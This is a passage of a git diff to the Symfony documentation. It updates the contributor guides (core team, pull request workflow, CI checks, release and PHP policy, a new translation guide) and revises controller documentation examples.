+* **Lukas Kahwe Smith** (`lsmith77`_);
+* **Jules Pietri** (`HeahDude`_);
+* **Jakub Zalas** (`jakzal`_);
+* **Samuel Rozé** (`sroze`_).
 
 Core Membership Application
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-At present, new Symfony Core membership applications are not accepted.
+About once a year, the core team discuss the opportunity to invite new members.
 
 Core Membership Revocation
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -121,9 +121,6 @@ A Symfony Core membership can be revoked for any of the following reasons:
 * Willful negligence or intent to harm the Symfony project;
 * Upon decision of the **Project Leader**.
 
-Should new Symfony Core memberships be accepted in the future, revoked
-members must wait at least 12 months before re-applying.
-
 Code Development Rules
 ----------------------
 
@@ -153,8 +150,8 @@ A pull request **can be merged** if:
 
 * Enough time was given for peer reviews;
 
-* At least two **Merger Team** members voted ``+1`` (only one if the submitter
-  is part of the Merger team) and no Core member voted ``-1`` (via GitHub
+* At least two **Mergers Team** members voted ``+1`` (only one if the submitter
+  is part of the Mergers team) and no Core member voted ``-1`` (via GitHub
   reviews or as comments).
 
 Pull Request Merging Process
@@ -207,3 +204,8 @@ discretion of the **Project Leader**.
 .. _`lsmith77`: https://github.com/lsmith77/
 .. _`derrabus`: https://github.com/derrabus/
 .. _`jderusse`: https://github.com/jderusse/
+.. _`tgalopin`: https://github.com/tgalopin/
+.. _`fancyweb`: https://github.com/fancyweb/
+.. _`welcomattic`: https://github.com/welcomattic/
+.. _`kbond`: https://github.com/kbond/
+.. _`gromnan`: https://github.com/gromnan/
diff --git a/contributing/code/license.rst b/contributing/code/license.rst
index 8c7c2fd19db..8f0ff3f6501 100644
--- a/contributing/code/license.rst
+++ b/contributing/code/license.rst
@@ -5,7 +5,7 @@ Symfony Code License
 
 Symfony code is released under `the MIT license`_:
 
-Copyright (c) 2004-2020 Fabien Potencier
+Copyright (c) 2004-2021 Fabien Potencier
 
 Permission is hereby granted, free of charge, to any person obtaining a copy
 of this software and associated documentation files (the "Software"), to deal
diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index 38467ebfa55..22c144423c8 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -1,6 +1,12 @@
 Proposing a Change
 ==================
 
+.. admonition:: Screencast
+    :class: screencast
+
+    Do you prefer video tutorials? Check out the `Contributing Back To Symfony`_
+    screencast series.
+
 A pull request, "PR" for short, is the best way to provide a bug fix or to
 propose enhancements to Symfony.
 
@@ -101,12 +107,6 @@ Check that the current Tests Pass
 Now that Symfony is installed, check that all unit tests pass for your
 environment as explained in the dedicated :doc:`document <tests>`.
 
-.. tip::
-
-    If tests are failing, check on `Travis-CI`_ if the same test is
-    failing there as well. In that case you do not need to be concerned
-    about the test failing locally.
-
 .. _step-2-work-on-your-patch:
 
 Step 3: Work on your Pull Request
@@ -124,7 +124,7 @@ Choose the right Branch
 Before working on a PR, you must determine on which branch you need to
 work:
 
-* ``3.4``, if you are fixing a bug for an existing feature or want to make a
+* ``4.4``, if you are fixing a bug for an existing feature or want to make a
   change that falls into the :doc:`list of acceptable changes in patch versions
   </contributing/code/maintenance>` (you may have to choose a higher branch if
   the feature you are fixing was introduced in a later version);
@@ -132,16 +132,16 @@ work:
 * ``5.x``, if you are adding a new feature.
 
   The only exception is when a new :doc:`major Symfony version </contributing/community/releases>`
-  (4.0, 5.0, etc.) comes out every two years. Because of the
+  (5.0, 6.0, etc.) comes out every two years. Because of the
   :ref:`special development process <major-version-development>` of those versions,
-  you need to use the previous minor version for the features (e.g. use ``3.4``
-  instead of ``4.0``, use ``4.4`` instead of ``5.0``, etc.)
+  you need to use the previous minor version for the features (e.g. use ``4.4``
+  instead of ``5.0``, use ``5.4`` instead of ``6.0``, etc.)
 
 .. note::
 
     All bug fixes merged into maintenance branches are also merged into more
     recent branches on a regular basis. For instance, if you submit a PR
-    for the ``3.4`` branch, the PR will also be applied by the core team on
+    for the ``4.4`` branch, the PR will also be applied by the core team on
     the ``5.x`` branch.
 
 Create a Topic Branch
@@ -154,18 +154,18 @@ topic branch:
 
     $ git checkout -b BRANCH_NAME 5.x
 
-Or, if you want to provide a bug fix for the ``3.4`` branch, first track the remote
-``3.4`` branch locally:
+Or, if you want to provide a bug fix for the ``4.4`` branch, first track the remote
+``4.4`` branch locally:
 
 .. code-block:: terminal
 
-    $ git checkout --track origin/3.4
+    $ git checkout --track origin/4.4
 
-Then create a new branch off the ``3.4`` branch to work on the bug fix:
+Then create a new branch off the ``4.4`` branch to work on the bug fix:
 
 .. code-block:: terminal
 
-    $ git checkout -b BRANCH_NAME 3.4
+    $ git checkout -b BRANCH_NAME 4.4
 
 .. tip::
 
@@ -224,7 +224,20 @@ in mind the following:
 * Never fix coding standards in some existing code as it makes the code review
   more difficult;
 
-* Write good commit messages (see the tip below).
+.. _commit-messages:
+
+* Write good commit messages: Start by a short subject line (the first line),
+  followed by a blank line and a more detailed description.
+
+  The subject line should start with the Component, Bridge or Bundle you are
+  working on in square brackets (``[DependencyInjection]``,
+  ``[FrameworkBundle]``, ...).
+
+  Then, capitalize the sentence, do not end with a period, and use an
+  imperative verb to start.
+
+  Here is a full example of a subject line: ``[MagicBundle] Add `MagicConfig`
+  that allows configuring things``.
 
 .. tip::
 
@@ -233,16 +246,7 @@ in mind the following:
     as defined in `PSR-1`_ and `PSR-2`_.
 
     A status is posted below the pull request description with a summary
-    of any problems it detects or any `Travis-CI`_ build failures.
-
-.. tip::
-
-    A good commit message is composed of a summary (the first line),
-    optionally followed by a blank line and a more detailed description. The
-    summary should start with the Component you are working on in square
-    brackets (``[DependencyInjection]``, ``[FrameworkBundle]``, ...). Use a
-    verb (``fixed ...``, ``added ...``, ...) to start the summary and don't
-    add a period at the end.
+    of any problems it detects or any GitHub Actions build failures.
 
 .. _prepare-your-patch-for-submission:
 
@@ -285,7 +289,7 @@ while to finish your changes):
 
 .. tip::
 
-    Replace ``5.x`` with the branch you selected previously (e.g. ``3.4``)
+    Replace ``5.x`` with the branch you selected previously (e.g. ``4.4``)
     if you are working on a bug fix.
 
 When doing the ``rebase`` command, you might have to fix merge conflicts.
@@ -312,8 +316,8 @@ You can now make a pull request on the ``symfony/symfony`` GitHub repository.
 
 .. tip::
 
-    Take care to point your pull request towards ``symfony:3.4`` if you want
-    the core team to pull a bug fix based on the ``3.4`` branch.
+    Take care to point your pull request towards ``symfony:4.4`` if you want
+    the core team to pull a bug fix based on the ``4.4`` branch.
 
 To ease the core team work, always include the modified components in your
 pull request message, like in:
@@ -366,8 +370,7 @@ because you want early feedback on your work, add an item to todo-list:
     - [ ] gather feedback for my changes
 
 As long as you have items in the todo-list, please prefix the pull request
-title with "[WIP]". If you do not yet want to trigger the automated tests,
-you can also set the PR to `draft status`_.
+title with "[WIP]".
 
 In the pull request description, give as much detail as possible about your
 changes (don't hesitate to give code examples to illustrate your points). If
@@ -396,6 +399,98 @@ The :doc:`core team </contributing/code/core_team>` is responsible for deciding
 which PR gets merged, so their feedback is the most relevant. So do not feel
 pressured to refactor your code immediately when someone provides feedback.
 
+Automated Feedback
+~~~~~~~~~~~~~~~~~~
+
+There are many automated scripts that will provide feedback on a pull request.
+
+fabbot
+""""""
+
+`fabbot`_ will review code style, check for common typos and make sure the git
+history looks good. If there are any issues, fabbot will often suggest what changes
+that should be done. Most of the time you get a command to run to automatically
+fix the changes.
+
+It is rare, but fabbot could be wrong. One should verify if the suggested changes
+make sense and that they are related to the pull request.
+
+Psalm
+"""""
+
+`Psalm`_ will make a comment on a pull request if it discovers any potential
+type errors. The Psalm errors are not always correct, but each should be reviewed
+and discussed. A pull request should not update the Psalm baseline nor add ``@psalm-``
+annotations.
+
+After the `Psalm phar is installed`_, the analysis can be run locally with:
+
+.. code-block:: terminal
+
+    $ psalm.phar src/Symfony/Component/Workflow
+
+Automated Tests
+~~~~~~~~~~~~~~~
+
+A series of automated tests will run when submitting the pull request.
+These test the code under different conditions, to be sure nothing
+important is broken. Test failures can be unrelated to your changes. If you
+think this is the case, you can check if the target branch has the same
+errors and leave a comment on your PR.
+
+Otherwise, the test failure might be caused by your changes. The following
+test scenarios run on each change:
+
+``PHPUnit / Tests``
+    This job runs on Ubuntu using multiple PHP versions (each in their
+    own job). These jobs run the testsuite just like you would do locally.
+
+    A failure in these jobs often indicates a bug in the code.
+
+``PHPUnit / Tests (high-deps)``
+    This job checks each package (bridge, bundle or component) in ``src/``
+    individually by calling ``composer update`` and ``phpunit`` from inside
+    each package.
+
+    A failure in this job often indicates a missing package in the
+    ``composer.json`` of the failing package (e.g.
+    ``src/Symfony/Bundle/FrameworkBundle/composer.json``).
+
+    This job also runs relevant packages using a "flipped" test (indicated
+    by a ``^`` suffix in the package name). These tests checkout the
+    previous major release (e.g. ``4.4`` for a pull requests on ``5.4``)
+    and run the tests with your branch as dependency.
+
+    A failure in these flipped tests indicate a backwards compatibility
+    break in your changes.
+
+``PHPUnit / Tests (low-deps)``
+    This job also checks each package individually, but then uses
+    ``composer update --prefer-lowest`` before running the tests.
+
+    A failure in this job often indicates a wrong version range or a
+    missing package in the ``composer.json`` of the failing package.
+
+``continuous-integration/appveyor/pr``
+    This job runs on Windows using the x86 architecture and the lowest
+    supported PHP version. All tests first run without extra PHP
+    extensions. Then, all skipped tests are run using all required PHP
+    extensions.
+
+    A failure in this job often indicate that your changes do not support
+    Windows, x86 or PHP with minimal extensions.
+
+``Integration / Tests``
+    Integration tests require other services (e.g. Redis or RabbitMQ) to
+    run. This job only runs the tests in the ``integration`` PHPUnit group.
+
+    A failure in this job indicates a bug in the communication with these
+    services.
+
+``PHPUnit / Tests (experimental)``
+    This job always passes (even with failing tests) and is used by the
+    core team to prepare for the upcoming PHP versions.
+
 .. _rework-your-patch:
 
 Rework your Pull Request
@@ -403,7 +498,7 @@ Rework your Pull Request
 
 Based on the feedback on the pull request, you might need to rework your
 PR. Before re-submitting the PR, rebase with ``upstream/5.x`` or
-``upstream/3.4``, don't merge; and force the push to the origin:
+``upstream/4.4``, don't merge; and force the push to the origin:
 
 .. code-block:: terminal
 
@@ -427,9 +522,10 @@ before merging.
 .. _Symfony repository: https://github.com/symfony/symfony
 .. _`documentation repository`: https://github.com/symfony/symfony-docs
 .. _`fabbot`: https://fabbot.io
+.. _`Psalm`: https://psalm.dev/
 .. _`PSR-1`: https://www.php-fig.org/psr/psr-1/
 .. _`PSR-2`: https://www.php-fig.org/psr/psr-2/
 .. _`searching on GitHub`: https://github.com/symfony/symfony/issues?q=+is%3Aopen+
 .. _`Symfony Slack`: https://symfony.com/slack-invite
-.. _`Travis-CI`: https://travis-ci.org/symfony/symfony
-.. _`draft status`: https://help.github.com/github/collaborating-with-issues-and-pull-requests/about-pull-requests#draft-pull-requests
+.. _`Psalm phar is installed`: https://psalm.dev/docs/running_psalm/installation/
+.. _`Contributing Back To Symfony`: https://symfonycasts.com/screencast/contributing
diff --git a/contributing/code/standards.rst b/contributing/code/standards.rst
index 88e015dc961..ff3b1ff08f4 100644
--- a/contributing/code/standards.rst
+++ b/contributing/code/standards.rst
@@ -5,8 +5,8 @@ Symfony code is contributed by thousands of developers around the world. To make
 every piece of code look and feel familiar, Symfony defines some coding standards
 that all contributions must follow.
 
-These Symfony coding standards are based on the `PSR-1`_, `PSR-2`_ and `PSR-4`_
-standards, so you may already know most of them.
+These Symfony coding standards are based on the `PSR-1`_, `PSR-2`_, `PSR-4`_
+and `PSR-12`_ standards, so you may already know most of them.
 
 Making your Code Follow the Coding Standards
 --------------------------------------------
@@ -220,6 +220,9 @@ Naming Conventions
 
 * Suffix exceptions with ``Exception``;
 
+* Prefix PHP attributes with ``As`` where applicable (e.g. ``#[AsCommand]``
+  instead of ``#[Command]``, but ``#[When]`` is kept as-is);
+
 * Use UpperCamelCase for naming PHP files (e.g. ``EnvVarProcessor.php``) and
   snake case for naming Twig templates and web assets (``section_layout.html.twig``,
   ``index.scss``);
@@ -283,6 +286,7 @@ License
 .. _`PSR-1`: https://www.php-fig.org/psr/psr-1/
 .. _`PSR-2`: https://www.php-fig.org/psr/psr-2/
 .. _`PSR-4`: https://www.php-fig.org/psr/psr-4/
+.. _`PSR-12`: https://www.php-fig.org/psr/psr-12/
 .. _`identical comparison`: https://www.php.net/manual/en/language.operators.comparison.php
 .. _`Yoda conditions`: https://en.wikipedia.org/wiki/Yoda_conditions
 .. _`camelCase`: https://en.wikipedia.org/wiki/Camel_case
diff --git a/contributing/code_of_conduct/care_team.rst b/contributing/code_of_conduct/care_team.rst
index 8f32d5befd1..d740fcfbba4 100644
--- a/contributing/code_of_conduct/care_team.rst
+++ b/contributing/code_of_conduct/care_team.rst
@@ -23,17 +23,37 @@ Here are all the members of the CARE team (in alphabetic order). You can contact
 any of them directly using the contact details below or you can also contact all
 of them at once by emailing **care@symfony.com**:
 
-* **Emilie Lorenzo**
+* **Timo Bakx**
 
-  * *E-mail*: emilie.lorenzo [at] symfony.com
-  * *Twitter*: `@EmilieLorenzo <https://twitter.com/EmilieLorenzo>`_
-  * *SymfonyConnect*: `emilielorenzo <https://connect.symfony.com/profile/emilielorenzo>`_
+  * *E-mail*: timobakx [at] gmail.com
+  * *Twitter*: `@TimoBakx <https://twitter.com/TimoBakx>`_
+  * *SymfonyConnect*: `timobakx <https://connect.symfony.com/profile/timobakx>`_
+  * *SymfonySlack*: `@Timo Bakx <https://symfony-devs.slack.com/team/U3FQ2GVJA>`_
+
+* **Zan Baldwin**
+
+  * *E-mail*: hello [at] zanbaldwin.com
+  * *Twitter*: `@ZanBaldwin <https://twitter.com/ZanBaldwin>`_
+  * *SymfonyConnect*: `zanbaldwin <https://connect.symfony.com/profile/zanbaldwin>`_
+  * *SymfonySlack*: `@Zan <https://symfony-devs.slack.com/team/UBHGRU3NW>`_
+
+* **Valentine Boineau**
+
+  * *E-mail*: valentine.boineau [at] gmail.com
+  * *Twitter*: `@BoineauV <https://twitter.com/BoineauV>`_
+
+* **Magali Milbergue**
+
+  * *E-mail*: magali.milbergue [at] gmail.com
+  * *Twitter*: `@magalimilbergue <https://twitter.com/magalimilbergue>`_
+  * *SymfonyConnect*: `magali_milbergue <https://connect.symfony.com/profile/magali_milbergue>`_
 
 * **Tobias Nyholm**
 
   * *E-mail*: tobias.nyholm [at] gmail.com
   * *Twitter*: `@tobiasnyholm <https://twitter.com/tobiasnyholm>`_
   * *SymfonyConnect*: `tobias <https://connect.symfony.com/profile/tobias>`_
+  * *SymfonySlack*: `@Tobias Nyholm <https://symfony-devs.slack.com/team/U3A9CNEDB>`_
 
 About the CARE Team
 -------------------
diff --git a/contributing/community/releases.rst b/contributing/community/releases.rst
index 260a357c596..7b8f58256f8 100644
--- a/contributing/community/releases.rst
+++ b/contributing/community/releases.rst
@@ -7,7 +7,7 @@ release and maintain its different versions.
 Symfony releases follow the `semantic versioning`_ strategy and they are
 published through a *time-based model*:
 
-* A new **Symfony patch version** (e.g. 4.4.9, 5.0.9, 5.1.1) comes out roughly every
+* A new **Symfony patch version** (e.g. 4.4.12, 5.1.9) comes out roughly every
   month. It only contains bug fixes, so you can safely upgrade your applications;
 * A new **Symfony minor version** (e.g. 4.4, 5.1) comes out every *six months*:
   one in *May* and one in *November*. It contains bug fixes and new features, but
@@ -53,7 +53,7 @@ Maintenance
 
 Starting from the Symfony 3.x branch, the number of minor versions is limited to
 five per branch (X.0, X.1, X.2, X.3 and X.4). The last minor version of a branch
-(e.g. 3.4, 4.4, 5.4) is considered a **long-term support version** and the other
+(e.g. 4.4, 5.4) is considered a **long-term support version** and the other
 ones are considered **standard versions**:
 
 =======================  =====================  ================================
@@ -87,20 +87,36 @@ learn more about how deprecations are handled in Symfony.
 .. _major-version-development:
 
 This deprecation policy also requires a custom development process for major
-versions (4.0, 5.0, 6.0, etc.) In those cases, Symfony develops at the same time
-two versions: the new major one (e.g. 4.0) and the latest version of the
-previous branch (e.g. 3.4).
+versions (5.0, 6.0, etc.) In those cases, Symfony develops at the same time
+two versions: the new major one (e.g. 5.0) and the latest version of the
+previous branch (e.g. 4.4).
 
 Both versions have the same new features, but they differ in the deprecated
-features. The oldest version (3.4 in this example) contains all the deprecated
-features whereas the new version (4.0 in this example) removes all of them.
+features. The oldest version (4.4 in this example) contains all the deprecated
+features whereas the new version (5.0 in this example) removes all of them.
 
-This allows you to upgrade your projects to the latest minor version (e.g. 3.4),
+This allows you to upgrade your projects to the latest minor version (e.g. 4.4),
 see all the deprecation messages and fix them. Once you have fixed all those
-deprecations, you can upgrade to the new major version (e.g. 4.0) without
+deprecations, you can upgrade to the new major version (e.g. 5.0) without
 effort, because it contains the same features (the only difference are the
 deprecated features, which your project no longer uses).
 
+PHP Compatibility
+-----------------
+
+The **minimum** PHP version is decided for each major Symfony version by consensus
+amongst the :doc:`core team </contributing/code/core_team>` and documented as
+part of the :ref:`technical requirements for running Symfony applications
+<symfony-tech-requirements>`.
+
+Throughout each Symfony release's support lifetime, all released versions of PHP
+including new major versions will be supported. In this way, the **maximum** supported
+version of PHP for a maintained Symfony release is the latest released
+one that is publicly available.
+
+For out-of-support releases of Symfony, the latest PHP version at time of EOL is the last
+supported PHP version. Newer versions of PHP may or may not function.
+
 Rationale
 ---------
 
diff --git a/contributing/documentation/overview.rst b/contributing/documentation/overview.rst
index fc6a2c4e5e5..6213c569289 100644
--- a/contributing/documentation/overview.rst
+++ b/contributing/documentation/overview.rst
@@ -112,16 +112,16 @@ memorable name for the new branch (if you are fixing a reported issue, use
 
 .. code-block:: terminal
 
-    $ git checkout -b improve_install_article upstream/3.4
+    $ git checkout -b improve_install_article upstream/4.4
 
 In this example, the name of the branch is ``improve_install_article`` and the
-``upstream/3.4`` value tells Git to create this branch based on the ``3.4``
+``upstream/4.4`` value tells Git to create this branch based on the ``4.4``
 branch of the ``upstream`` remote, which is the original Symfony Docs repository.
 
 Fixes should always be based on the **oldest maintained branch** which contains
-the error. Nowadays this is the ``3.4`` branch. If you are instead documenting a
+the error. Nowadays this is the ``4.4`` branch. If you are instead documenting a
 new feature, switch to the first Symfony version that included it, e.g.
-``upstream/3.1``. Not sure? That's OK! Just use the ``upstream/master`` branch.
+``upstream/5.4``.
 
 **Step 5.** Now make your changes in the documentation. Add, tweak, reword and
 even remove any content and do your best to comply with the
@@ -155,7 +155,7 @@ changes should be applied:
    :align: center
 
 In this example, the **base fork** should be ``symfony/symfony-docs`` and
-the **base** branch should be the ``3.4``, which is the branch that you selected
+the **base** branch should be the ``4.4``, which is the branch that you selected
 to base your changes on. The **head fork** should be your forked copy
 of ``symfony-docs`` and the **compare** branch should be ``improve_install_article``,
 which is the name of the branch you created and where you made your changes.
@@ -205,7 +205,7 @@ contribution to the Symfony docs:
     # create a new branch based on the oldest maintained version
     $ cd projects/symfony-docs/
     $ git fetch upstream
-    $ git checkout -b my_changes upstream/3.4
+    $ git checkout -b my_changes upstream/4.4
 
     # ... do your changes
 
@@ -295,16 +295,16 @@ Please be patient. It can take up to several days before your pull request can
 be fully reviewed. After merging the changes, it could take again several hours
 before your changes appear on the Symfony website.
 
-Why Should I Use the Oldest Maintained Branch Instead of the Master Branch?
+Why Should I Use the Oldest Maintained Branch Instead of the Latest Branch?
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Consistent with Symfony's source code, the documentation repository is split
 into multiple branches, corresponding to the different versions of Symfony itself.
-The ``master`` branch holds the documentation for the development branch of
+The latest (e.g. ``5.x``) branch holds the documentation for the development branch of
 the code.
 
-Unless you're documenting a feature that was introduced after Symfony 3.4,
-your changes should always be based on the ``3.4`` branch. Documentation managers
+Unless you're documenting a feature that was introduced after Symfony 4.4,
+your changes should always be based on the ``4.4`` branch. Documentation managers
 will use the necessary Git-magic to also apply your changes to all the active
 branches of the documentation.
 
@@ -338,7 +338,7 @@ definitely don't want you to waste your time!
 .. _`GitHub`: https://github.com/
 .. _`fork the repository`: https://help.github.com/github/getting-started-with-github/fork-a-repo
 .. _`Symfony Documentation Contributors`: https://symfony.com/contributors/doc
-.. _`SymfonyConnect`: https://connect.symfony.com/
+.. _`SymfonyConnect`: https://symfony.com/connect/login
 .. _`Symfony Documentation Badge`: https://connect.symfony.com/badge/36/symfony-documentation-contributor
 .. _`SymfonyCloud`: https://symfony.com/cloud
 .. _`roadmap`: https://symfony.com/releases
diff --git a/contributing/index.rst b/contributing/index.rst
index 923a4e48ed4..d76b4a8e037 100644
--- a/contributing/index.rst
+++ b/contributing/index.rst
@@ -7,6 +7,7 @@ Contributing
     code_of_conduct/index
     code/index
     documentation/index
+    translations/index
     community/index
     diversity/index
 
diff --git a/contributing/translations/index.rst b/contributing/translations/index.rst
new file mode 100644
index 00000000000..d865111f0cf
--- /dev/null
+++ b/contributing/translations/index.rst
@@ -0,0 +1,103 @@
+Contributing Translations
+=========================
+
+Some Symfony Components include certain messages that must be translated to
+different languages. For example, if a user submits a form with a wrong value in
+a :doc:`TimezoneType </reference/forms/types/timezone>` field, Symfony shows the
+following error message by default: "This value is not a valid timezone."
+
+These messages are translated into tens of languages thanks to the Symfony
+community. Symfony adds new messages on a regular basis, so this is an ongoing
+translation process and you can help us providing the missing translations.
+
+How to Contribute a Translation
+-------------------------------
+
+Imagine that you can speak both English and Swedish and want to check if there's
+some missing Swedish translations to contribute them.
+
+**Step 1.** Translations are contributed to the oldest maintained branch of the
+Symfony repository. Visit the `Symfony Releases`_ page to find out which is the
+current oldest maintained branch.
+
+Then, you need to either download or browse that Symfony version contents:
+
+* If you know Git and prefer the command console, clone the Symfony repository
+  and check out the oldest maintained branch (read the
+  :doc:`Symfony Documentation contribution guide </contributing/documentation/overview>`
+  if you want to learn about this process);
+* If you prefer to use a web based interface, visit
+  `https://github.com/symfony/symfony <https://github.com/symfony/symfony>`_
+  and switch to the oldest maintained branch.
+
+**Step 2.** Check out if there's some missing translation in your language by
+checking these directories:
+
+* ``src/Symfony/Component/Form/Resources/translations/``
+* ``src/Symfony/Component/Security/Core/Resources/translations/``
+* ``src/Symfony/Component/Validator/Resources/translations/``
+
+Symfony uses the :ref:`XLIFF format <best-practice-internationalization>` to
+store translations. In this example, you are looking for missing Swedish
+translations, so you should look for files called ``*.sv.xlf``.
+
+.. note::
+
+    If there's no XLIFF file for your language yet, create it yourself
+    duplicating the original English file (e.g. ``validators.en.xlf``).
+
+**Step 3.** Contribute the missing translations. To do that, compare the file
+in your language to the equivalent file in English.
+
+Imagine that you open the ``validators.sv.xlf`` and see this at the end of the file:
+
+.. code-block:: xml
+
+    <!-- src/Symfony/Component/Validator/Resources/translations/validators.sv.xlf -->
+
+    <!-- ... -->
+    <trans-unit id="91">
+        <source>This value should be either negative or zero.</source>
+        <target>Detta värde bör vara antingen negativt eller noll.</target>
+    </trans-unit>
+    <trans-unit id="92">
+        <source>This value is not a valid timezone.</source>
+        <target>Detta värde är inte en giltig tidszon.</target>
+    </trans-unit>
+
+If you open the equivalent ``validators.en.xlf`` file, you can see that the
+English file has more messages to translate:
+
+.. code-block:: xml
+
+    <!-- src/Symfony/Component/Validator/Resources/translations/validators.en.xlf -->
+
+    <!-- ... -->
+    <trans-unit id="91">
+        <source>This value should be either negative or zero.</source>
+        <target>This value should be either negative or zero.</target>
+    </trans-unit>
+    <trans-unit id="92">
+        <source>This value is not a valid timezone.</source>
+        <target>This value is not a valid timezone.</target>
+    </trans-unit>
+    <trans-unit id="93">
+        <source>This password has been leaked in a data breach, it must not be used. Please use another password.</source>
+        <target>This password has been leaked in a data breach, it must not be used. Please use another password.</target>
+    </trans-unit>
+    <trans-unit id="94">
+        <source>This value should be between {{ min }} and {{ max }}.</source>
+        <target>This value should be between {{ min }} and {{ max }}.</target>
+    </trans-unit>
+
+The messages with ``id=93`` and ``id=94`` are missing in the Swedish file.
+Copy and paste the messages from the English file, translate the content
+inside the ``<target>`` tag and save the changes.
+
+**Step 4.** Make the pull request against the
+`https://github.com/symfony/symfony <https://github.com/symfony/symfony>`_ repository.
+If you need help, check the other Symfony guides about
+:doc:`contributing code or docs </contributing/index>` because the process is
+the same.
+
+.. _`Symfony Releases`: https://symfony.com/releases
diff --git a/controller.rst b/controller.rst
index 212d0a2b509..d8ca24a1b17 100644
--- a/controller.rst
+++ b/controller.rst
@@ -98,16 +98,16 @@ Add the ``use`` statement atop your controller class and then modify
 
 .. code-block:: diff
 
-    // src/Controller/LuckyController.php
-    namespace App\Controller;
+      // src/Controller/LuckyController.php
+      namespace App\Controller;
 
     + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
 
     - class LuckyController
     + class LuckyController extends AbstractController
-    {
-        // ...
-    }
+      {
+          // ...
+      }
 
 That's it! You now have access to methods like :ref:`$this->render() <controller-rendering-templates>`
 and many others that you'll learn about next.
@@ -271,7 +271,7 @@ the argument by its name:
             ->addTag('controller.service_arguments')
             ->setBindings([
                 '$logger' => new Reference('monolog.logger.doctrine'),
-                '$projectDir' => '%kernel.project_dir%'
+                '$projectDir' => '%kernel.project_dir%',
             ])
         ;
 
@@ -394,7 +394,7 @@ Request object.
 Managing the Session
 --------------------
 
-Symfony provides a session service that you can use to store information
+Symfony provides a session object that you can use to store information
 about the user between requests. Session is enabled by default, but will only be
 started if you read or write from it.
 
diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst
index c9693bbaf9b..ebc59a02bf5 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/argument_value_resolver.rst
@@ -75,7 +75,7 @@ with the ``User`` class::
     {
         public function index(User $user)
         {
-            return new Response('Hello '.$user->getUsername().'!');
+            return new Response('Hello '.$user->getUserIdentifier().'!');
         }
     }
 
diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index 337723d8605..a94294573a0 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -184,12 +184,11 @@ automatically when installing ``symfony/framework-bundle``):
         };
 
 With this route added, you can use URLs like these to preview the *error* page
-for a given status code as HTML or for a given status code and format.
+for a given status code as HTML or for a given status code and format (you might
+need to replace ``http://localhost/`` by the host used in your local setup):
 
-.. code-block:: text
-
-     http://localhost/index.php/_error/{statusCode}
-     http://localhost/index.php/_error/{statusCode}.{format}
+* ``http://localhost/_error/{statusCode}`` for HTML
+* ``http://localhost/_error/{statusCode}.{format}`` for any other format
 
 .. _overriding-non-html-error-output:
 
@@ -273,10 +272,12 @@ configuration option to point to it:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'error_controller' => 'App\Controller\ErrorController::show',
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
             // ...
-        ]);
+            $framework->errorController('App\Controller\ErrorController::show');
+        };
 
 The :class:`Symfony\\Component\\HttpKernel\\EventListener\\ErrorListener`
 class used by the FrameworkBundle as a listener of the ``kernel.exception`` event creates
@@ -284,7 +285,7 @@ the request that will be dispatched to your controller. In addition, your contro
 will be passed two parameters:
 
 ``exception``
-    The original :class:`Throwable` instance being handled.
+    The original :phpclass:`Throwable` instance being handled.
 
 ``logger``
     A :class:`\\Symfony\\Component\\HttpKernel\\Log\\DebugLoggerInterface`
@@ -318,7 +319,7 @@ error pages.
 .. note::
 
     If your listener calls ``setThrowable()`` on the
-    :class:`Symfony\\Component\\HttpKernel\\Event\\ExceptionEvent`,
+    :class:`Symfony\\Component\\HttpKernel\\Event\\ExceptionEvent`
     event, propagation will be stopped and the response will be sent to
     the client.
 
diff --git a/controller/service.rst b/controller/service.rst
index f8048e09def..017b99c61c1 100644
--- a/controller/service.rst
+++ b/controller/service.rst
@@ -4,13 +4,29 @@
 How to Define Controllers as Services
 =====================================
 
-In Symfony, a controller does *not* need to be registered as a service. But if you're
-using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
-your controllers *are* already registered as services. This means you can use dependency
-injection like any other normal service.
+In Symfony, a controller does *not* need to be registered as a service. But if
+you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
+and your controllers extend the `AbstractController`_ class, they *are* automatically
+registered as services. This means you can use dependency injection like any
+other normal service.
+
+If your controllers don't extend the `AbstractController`_ class, you must
+explicitly mark your controller services as ``public``. Alternatively, you can
+apply the ``controller.service_arguments`` tag to your controller services. This
+will make the tagged services ``public`` and will allow you to inject services
+in method parameters:
 
-Referencing your Service from Routing
--------------------------------------
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+
+        # controllers are imported separately to make sure services can be injected
+        # as action arguments even if you don't extend any base controller class
+        App\Controller\:
+           resource: '../src/Controller/'
+           tags: ['controller.service_arguments']
 
 Registering your controller as a service is the first step, but you also need to
 update your routing config to reference the service properly, so that Symfony
@@ -41,6 +57,22 @@ a service like: ``App\Controller\HelloController::index``:
             }
         }
 
+    .. code-block:: php-attributes
+
+        // src/Controller/HelloController.php
+        namespace App\Controller;
+
+        use Symfony\Component\Routing\Annotation\Route;
+
+        class HelloController
+        {
+            #[Route('/hello', name: 'hello', methods: ['GET'])]
+            public function index()
+            {
+                // ...
+            }
+        }
+
     .. code-block:: yaml
 
         # config/routes.yaml
@@ -105,12 +137,29 @@ which is a common practice when following the `ADR pattern`_
             }
         }
 
+    .. code-block:: php-attributes
+
+        // src/Controller/Hello.php
+        namespace App\Controller;
+
+        use Symfony\Component\HttpFoundation\Response;
+        use Symfony\Component\Routing\Annotation\Route;
+
+        #[Route('/hello/{name}', name: 'hello')]
+        class Hello
+        {
+            public function __invoke($name = 'World')
+            {
+                return new Response(sprintf('Hello %s!', $name));
+            }
+        }
+
     .. code-block:: yaml
 
         # config/routes.yaml
         hello:
             path:     /hello/{name}
-            defaults: { _controller: app.hello_controller }
+            controller: app.hello_controller
 
     .. code-block:: xml
 
